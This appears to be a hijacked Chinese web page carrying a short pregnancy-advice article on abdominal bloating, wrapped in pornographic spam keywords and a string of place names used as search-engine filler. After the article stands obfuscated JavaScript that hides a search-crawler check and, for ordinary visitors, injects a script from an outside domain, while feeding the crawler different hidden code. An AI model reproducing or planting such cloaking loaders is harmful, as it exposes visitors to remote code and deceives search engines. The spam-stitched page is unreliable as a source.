亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 母嬰 > 懷孕知識(shí) > 正文

孕婦肚子脹氣疼應(yīng)該怎么辦呢?

2017-05-05 09:07:44  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:女性在懷孕之后身體是很脆弱的,不小心就會(huì)引起身體不適,最常見的現(xiàn)象就是容易出現(xiàn)脹氣肚子疼,因?yàn)殡S著孩子的長大,會(huì)壓迫到孕婦的胃部,

女性在懷孕之后身體是很脆弱的,不小心就會(huì)引起身體不適,最常見的現(xiàn)象就是容易出現(xiàn)脹氣肚子疼,因?yàn)殡S著孩子的長大,會(huì)壓迫到孕婦的胃部,這個(gè)時(shí)候就會(huì)對消化系統(tǒng)產(chǎn)生很嚴(yán)重的影響,從而引起肚子脹氣疼,所以不想要這種現(xiàn)象伴隨整個(gè)孕期的話一定要注意及時(shí)調(diào)理。

孕婦胃脹氣怎么辦一:飲食調(diào)節(jié)。

飲食調(diào)節(jié)首要一點(diǎn)就是要少吃產(chǎn)氣的食物。常見的產(chǎn)氣食物有洋蔥、卷心菜、油炸食品、營養(yǎng)豐富的調(diào)味汁、含糖的甜食、豆類等均為產(chǎn)氣較多的食物。所以孕媽媽們?yōu)榱吮苊馕该洑獾陌l(fā)生,就盡量少吃這些產(chǎn)氣較多的食物吧。對于懷孕吃什么好,大家也需有所了解。

孕婦胃脹氣怎么辦二:保持心態(tài)平衡。

有些孕婦除了生理發(fā)生變化外,脾氣、情緒也會(huì)或多或少有些變化,相比孕前,孕婦朋友更容易發(fā)生焦慮、猶豫或易怒的情緒。要知道孕婦的這些不良情緒也是使孕婦胃脹氣的重要原因之一,所以,孕婦要盡量在心情平靜、愉快的情況下進(jìn)餐,以避免胃脹氣的發(fā)生。

以上兩點(diǎn)關(guān)于孕婦胃脹氣怎么辦的方法均適合于孕婦胃脹氣發(fā)生之前,那么孕婦已經(jīng)發(fā)生了胃脹氣的情況,感覺食物上不來又下不去的堵在胸口,又該怎么辦呢?

若此種情況才出現(xiàn)不久,或者只是偶爾發(fā)生,本編建議孕婦朋友還是要適當(dāng)運(yùn)動(dòng)運(yùn)動(dòng),可選擇做些安全的孕婦操來幫助胃腸蠕動(dòng),使食物更易于消化。

如果孕婦經(jīng)常出現(xiàn)這種現(xiàn)象而且不好轉(zhuǎn)的話就要注意及時(shí)看醫(yī)生,這樣對你的孩子和你都是有好處的,貧血孕婦也可以在飯后散散步,這樣也能夠幫助消化,但是要注意孕期不能夠有劇烈的運(yùn)動(dòng),以免引起孕婦流產(chǎn)等現(xiàn)象,適當(dāng)?shù)倪\(yùn)動(dòng)還能夠促進(jìn)胎動(dòng)。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
武宣县| 福海县| 曲麻莱县| 安顺市| 遵义县| 绥江县| 彰化县| 永嘉县| 南投县| 烟台市| 大方县| 阿克陶县| 曲阜市| 绥棱县| 长岭县| 松潘县| 肥乡县| 汾阳市| 大港区| 喀什市| 石家庄市| 阿城市| 广汉市| 平邑县| 辽中县| 白城市| 宁南县| 教育| 新和县| 汶川县| 繁峙县| 禄丰县| 旬阳县| 鹰潭市| 陈巴尔虎旗| 聂拉木县| 红原县| 昌邑市| 山丹县| 怀宁县| 时尚|